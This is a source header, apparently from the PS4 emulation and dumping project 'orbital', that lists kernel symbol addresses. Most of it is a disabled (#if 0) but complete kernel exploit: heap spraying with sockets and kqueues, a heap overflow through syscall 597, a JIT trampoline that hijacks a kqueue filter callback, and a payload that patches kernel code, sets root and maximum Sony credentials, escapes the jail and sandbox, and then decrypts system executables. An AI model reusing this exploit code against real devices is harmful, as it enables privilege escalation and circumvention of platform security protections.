mirror of
https://github.com/AlexAltea/orbital.git
synced 2025-04-02 10:32:05 -04:00
343 lines
9.6 KiB
C++
343 lines
9.6 KiB
C++
/* functions */
|
|
KFUNC(0x0023E3D0, _sx_xlock, int, (void *sx, int opts, const char *file, int line));
|
|
KFUNC(0x0023E500, _sx_xunlock, void, (void *sx, const char *file, int line));
|
|
KFUNC(0x00222660, kmalloc, void *, (uint64_t size, void *area, uint64_t flags));
|
|
KFUNC(0x00222820, kfree, void, (void *ptr, void *area));
|
|
KFUNC(0x0027B160, sys_write, void, (void *td, void *uap));
|
|
KFUNC(0x005AE860, sceSblDriverMapPages, int, (uint64_t *gpu_paddr, void *cpu_vaddr, uint32_t npages, uint64_t flags, uint64_t unk, uint64_t *gpu_desc));
|
|
KFUNC(0x005AEF90, sceSblDriverUnmapPages, int, (uint64_t gpu_desc));
|
|
KFUNC(0x00612940, map_chunk_table, int, (uint64_t *gpu_paddr, uint64_t *gpu_desc, void *cpu_vaddr));
|
|
KFUNC(0x005BF190, sceSblServiceMailbox, int, (uint64_t module_id, void *query, void *reply));
|
|
KFUNC(0x005C71E0, _sceSblAuthMgrSmFinalize, int, (void *ctx));
|
|
|
|
/* globals */
|
|
KDATA(0x01037250, prison0, void*);
|
|
KDATA(0x010A6920, M_AUTHMGR, void);
|
|
KDATA(0x010EF920, rootvnode, void*);
|
|
KDATA(0x025642F0, sceSblAuthMgrModuleId, uint64_t);
|
|
KDATA(0x01438010, authmgr_sm_xlock, void);
|
|
KDATA(0x013EC1E0, self_ctx_status, uint32_t);
|
|
KDATA(0x013EC060, self_contexts, self_context_t);
|
|
|
|
// TODO: Apply the patches below
|
|
#if 0
|
|
////// defines.h //////
|
|
|
|
#define SLIST_ENTRY(type) \
|
|
struct { \
|
|
struct type *sle_next; /* next element */ \
|
|
}
|
|
|
|
#define SLIST_HEAD(name, type) \
|
|
struct name { \
|
|
struct type *slh_first; /* first element */ \
|
|
}
|
|
|
|
#define TRACEBUF
|
|
|
|
#define TAILQ_ENTRY(type) \
|
|
struct { \
|
|
struct type *tqe_next; /* next element */ \
|
|
struct type **tqe_prev; /* address of previous next element */ \
|
|
TRACEBUF \
|
|
}
|
|
|
|
struct knote;
|
|
|
|
struct kevent {
|
|
uintptr_t ident; /* identifier for this event */
|
|
short filter; /* filter for event */
|
|
unsigned short flags;
|
|
unsigned int fflags;
|
|
intptr_t data;
|
|
void *udata; /* opaque user data identifier */
|
|
};
|
|
|
|
struct filterops {
|
|
int f_isfd; /* true if ident == filedescriptor */
|
|
int (*f_attach)(struct knote *kn);
|
|
void (*f_detach)(struct knote *kn);
|
|
int (*f_event)(struct knote *kn, long hint);
|
|
void (*f_touch)(struct knote *kn, struct kevent *kev, unsigned long type);
|
|
};
|
|
|
|
struct knote {
|
|
SLIST_ENTRY(knote) kn_link; /* for kq */
|
|
SLIST_ENTRY(knote) kn_selnext; /* for struct selinfo */
|
|
struct knlist *kn_knlist; /* f_attach populated */
|
|
TAILQ_ENTRY(knote) kn_tqe;
|
|
struct kqueue *kn_kq; /* which queue we are on */
|
|
struct kevent kn_kevent;
|
|
int kn_status; /* protected by kq lock */
|
|
int kn_sfflags; /* saved filter flags */
|
|
intptr_t kn_sdata; /* saved data field */
|
|
union {
|
|
struct file *p_fp; /* file data pointer */
|
|
struct proc *p_proc; /* proc pointer */
|
|
struct aiocblist *p_aio; /* AIO job pointer */
|
|
struct aioliojob *p_lio; /* LIO job pointer */
|
|
} kn_ptr;
|
|
struct filterops *kn_fop;
|
|
void *kn_hook;
|
|
int kn_hookid;
|
|
};
|
|
#endif
|
|
|
|
#if 0
|
|
////// main.c //////
|
|
// dlclose payload funtions
|
|
|
|
void payload(struct knote *kn) {
|
|
struct thread *td;
|
|
struct ucred *cred;
|
|
|
|
// Get td pointer
|
|
asm volatile("mov %0, %%gs:0" : "=r"(td));
|
|
|
|
// Enable UART output
|
|
uint16_t *securityflags = (uint16_t*)0xFFFFFFFF833242F6;
|
|
*securityflags = *securityflags & ~(1 << 15); // bootparam_disable_console_output = 0
|
|
|
|
// Print test message to the UART line
|
|
//printfkernel("\n\n\n\n\n\n\n\n\nHello from kernel :-)\n\n\n\n\n\n\n\n\n");
|
|
|
|
// Disable write protection
|
|
cpu_disable_wp();
|
|
|
|
// sysctl_machdep_rcmgr_debug_menu and sysctl_machdep_rcmgr_store_moe
|
|
*(uint16_t *)0xFFFFFFFF82607C46 = 0x9090;
|
|
*(uint16_t *)0xFFFFFFFF82607826 = 0x9090;
|
|
|
|
*(char *)0xFFFFFFFF8332431A = 1;
|
|
*(char *)0xFFFFFFFF83324338 = 1;
|
|
|
|
|
|
// Allow self decryption
|
|
// sceSblAuthMgrIsLoadable
|
|
*(uint8_t *)(0xFFFFFFFF827C67A0) = 0x31;
|
|
*(uint8_t *)(0xFFFFFFFF827C67A1) = 0xC0;
|
|
*(uint8_t *)(0xFFFFFFFF827C67A2) = 0xC3;
|
|
// allow mapping selfs - place 2
|
|
*(uint8_t *)(0xFFFFFFFF825F5200) = 0xB8;
|
|
*(uint8_t *)(0xFFFFFFFF825F5201) = 0x01;
|
|
*(uint8_t *)(0xFFFFFFFF825F5202) = 0x00;
|
|
*(uint8_t *)(0xFFFFFFFF825F5203) = 0x00;
|
|
*(uint8_t *)(0xFFFFFFFF825F5204) = 0x00;
|
|
*(uint8_t *)(0xFFFFFFFF825F5205) = 0xC3;
|
|
// allow mapping selfs - place 3
|
|
*(uint8_t *)(0xFFFFFFFF825F5210) = 0xB8;
|
|
*(uint8_t *)(0xFFFFFFFF825F5211) = 0x01;
|
|
*(uint8_t *)(0xFFFFFFFF825F5212) = 0x00;
|
|
*(uint8_t *)(0xFFFFFFFF825F5213) = 0x00;
|
|
*(uint8_t *)(0xFFFFFFFF825F5214) = 0x00;
|
|
*(uint8_t *)(0xFFFFFFFF825F5215) = 0xC3;
|
|
|
|
|
|
// Restore write protection
|
|
cpu_enable_wp();
|
|
|
|
// Resolve creds
|
|
cred = td->td_proc->p_ucred;
|
|
|
|
// Escalate process to root
|
|
cred->cr_uid = 0;
|
|
cred->cr_ruid = 0;
|
|
cred->cr_rgid = 0;
|
|
cred->cr_groups[0] = 0;
|
|
|
|
void *td_ucred = *(void **)(((char *)td) + 304); // p_ucred == td_ucred
|
|
|
|
// sceSblACMgrIsSystemUcred
|
|
uint64_t *sonyCred = (uint64_t *)(((char *)td_ucred) + 96);
|
|
*sonyCred = 0xffffffffffffffff;
|
|
|
|
// sceSblACMgrGetDeviceAccessType
|
|
uint64_t *sceProcType = (uint64_t *)(((char *)td_ucred) + 88);
|
|
*sceProcType = 0x3801000000000013; // Max access
|
|
|
|
// sceSblACMgrHasSceProcessCapability
|
|
uint64_t *sceProcCap = (uint64_t *)(((char *)td_ucred) + 104);
|
|
*sceProcCap = 0xffffffffffffffff; // Sce Process
|
|
|
|
((uint64_t *)0xFFFFFFFF832CC2E8)[0] = 0x123456; //priv_check_cred bypass with suser_enabled=true
|
|
((uint64_t *)0xFFFFFFFF8323DA18)[0] = 0; // bypass priv_check
|
|
|
|
// Jailbreak ;)
|
|
cred->cr_prison = (void *)0xFFFFFFFF83237250; //&prison0
|
|
|
|
// Break out of the sandbox
|
|
void *td_fdp = *(void **)(((char *)td->td_proc) + 72);
|
|
uint64_t *td_fdp_fd_rdir = (uint64_t *)(((char *)td_fdp) + 24);
|
|
uint64_t *td_fdp_fd_jdir = (uint64_t *)(((char *)td_fdp) + 32);
|
|
uint64_t *rootvnode = (uint64_t *)0xFFFFFFFF832EF920;
|
|
*td_fdp_fd_rdir = *rootvnode;
|
|
*td_fdp_fd_jdir = *rootvnode;
|
|
|
|
init_ksdk();
|
|
}
|
|
|
|
// Perform kernel allocation aligned to 0x800 bytes
|
|
int kernelAllocation(size_t size, int fd) {
|
|
SceKernelEqueue queue = 0;
|
|
sceKernelCreateEqueue(&queue, "kexec");
|
|
|
|
sceKernelAddReadEvent(queue, fd, 0, NULL);
|
|
|
|
return queue;
|
|
}
|
|
|
|
void kernelFree(int allocation) {
|
|
close(allocation);
|
|
}
|
|
|
|
void *exploitThread(void *none) {
|
|
dprintf("[+] Entered exploitThread\n");
|
|
|
|
uint64_t bufferSize = 0x8000;
|
|
uint64_t overflowSize = 0x8000;
|
|
uint64_t copySize = bufferSize + overflowSize;
|
|
|
|
// Round up to nearest multiple of PAGE_SIZE
|
|
uint64_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);
|
|
|
|
uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
|
munmap(mapping + mappingSize, PAGE_SIZE);
|
|
|
|
uint8_t *buffer = mapping + mappingSize - copySize;
|
|
|
|
int64_t count = (0x100000000 + bufferSize) / 4;
|
|
|
|
// Create structures
|
|
struct knote kn;
|
|
struct filterops fo;
|
|
struct knote **overflow = (struct knote **)(buffer + bufferSize);
|
|
overflow[2] = &kn;
|
|
kn.kn_fop = &fo;
|
|
|
|
// Setup trampoline to gracefully return to the calling thread
|
|
void *trampw = NULL;
|
|
void *trampe = NULL;
|
|
int executableHandle;
|
|
int writableHandle;
|
|
uint8_t trampolinecode[] = {
|
|
0x58, // pop rax
|
|
0x48, 0xB8, 0x19, 0x39, 0x40, 0x82, 0xFF, 0xFF, 0xFF, 0xFF, // movabs rax, 0xffffffff82403919
|
|
0x50, // push rax
|
|
0x48, 0xB8, 0xBE, 0xBA, 0xAD, 0xDE, 0xDE, 0xC0, 0xAD, 0xDE, // movabs rax, 0xdeadc0dedeadbabe
|
|
0xFF, 0xE0 // jmp rax
|
|
};
|
|
|
|
// Get Jit memory
|
|
sceKernelJitCreateSharedMemory(0, PAGE_SIZE, PROT_CPU_READ | PROT_CPU_WRITE | PROT_CPU_EXEC, &executableHandle);
|
|
sceKernelJitCreateAliasOfSharedMemory(executableHandle, PROT_CPU_READ | PROT_CPU_WRITE, &writableHandle);
|
|
|
|
// Map r+w & r+e
|
|
trampe = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_EXEC, MAP_SHARED, executableHandle, 0);
|
|
trampw = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_TYPE, writableHandle, 0);
|
|
|
|
// Copy trampoline to allocated address
|
|
memcpy(trampw, trampolinecode, sizeof(trampolinecode));
|
|
*(void **)(trampw + 14) = (void *)payload;
|
|
|
|
// Call trampoline when overflown
|
|
fo.f_detach = trampe;
|
|
|
|
// Start the exploit
|
|
int sockets[0x2000];
|
|
int allocation[50], m = 0, m2 = 0;
|
|
int fd = (bufferSize - 0x800) / 8;
|
|
|
|
dprintf("[+] Creating %d sockets\n", fd);
|
|
|
|
// Create sockets
|
|
for(int i = 0; i < 0x2000; i++) {
|
|
sockets[i] = sceNetSocket("sss", AF_INET, SOCK_STREAM, 0);
|
|
if(sockets[i] >= fd) {
|
|
sockets[i + 1] = -1;
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Spray the heap
|
|
for(int i = 0; i < 50; i++) {
|
|
allocation[i] = kernelAllocation(bufferSize, fd);
|
|
dprintf("[+] allocation = %llp\n", allocation[i]);
|
|
}
|
|
|
|
// Create hole for the system call's allocation
|
|
m = kernelAllocation(bufferSize, fd);
|
|
m2 = kernelAllocation(bufferSize, fd);
|
|
kernelFree(m);
|
|
|
|
// Perform the overflow
|
|
int result = syscall(597, 1, mapping, &count);
|
|
dprintf("[+] Result: %d\n", result);
|
|
|
|
// Execute the payload
|
|
dprintf("[+] Freeing m2\n");
|
|
kernelFree(m2);
|
|
|
|
// Close sockets
|
|
for(int i = 0; i < 0x2000; i++) {
|
|
if(sockets[i] == -1)
|
|
break;
|
|
sceNetSocketClose(sockets[i]);
|
|
}
|
|
|
|
// Free allocations
|
|
for(int i = 0; i < 50; i++) {
|
|
kernelFree(allocation[i]);
|
|
}
|
|
|
|
// Free the mapping
|
|
munmap(mapping, mappingSize);
|
|
|
|
return NULL;
|
|
}
|
|
|
|
int _main()
|
|
{
|
|
ScePthread thread;
|
|
|
|
|
|
/* Prepare userland environment */
|
|
initKernel();
|
|
initLibc();
|
|
initNetwork();
|
|
initJIT();
|
|
initPthread();
|
|
|
|
debug_init();
|
|
blob_transfer_init();
|
|
dprintf("Starting dump...\n");
|
|
|
|
// Create exploit thread
|
|
if(scePthreadCreate(&thread, NULL, exploitThread, NULL, "exploitThread") != 0) {
|
|
dprintf("[-] pthread_create error\n");
|
|
return 0;
|
|
}
|
|
|
|
// Wait for thread to exit
|
|
scePthreadJoin(thread, NULL);
|
|
|
|
// At this point we should have root and jailbreak
|
|
if(getuid() != 0) {
|
|
dprintf("[-] Kernel patch failed!\n");
|
|
return 1;
|
|
}
|
|
|
|
/* Prepare kernel environment*/
|
|
//syscall(11, init_ksdk);
|
|
//syscall(11, kpatch_getroot);
|
|
//syscall(11, kpatch_enablemapself);
|
|
|
|
/* Dump data */
|
|
traverse_dir("/", true, decrypt_self_to_elf);
|
|
|
|
/* Return back to browser */
|
|
dprintf("Dump finished!\n");
|
|
blob_transfer_close();
|
|
debug_close();
|
|
return 0;
|
|
}
|
|
#endif
|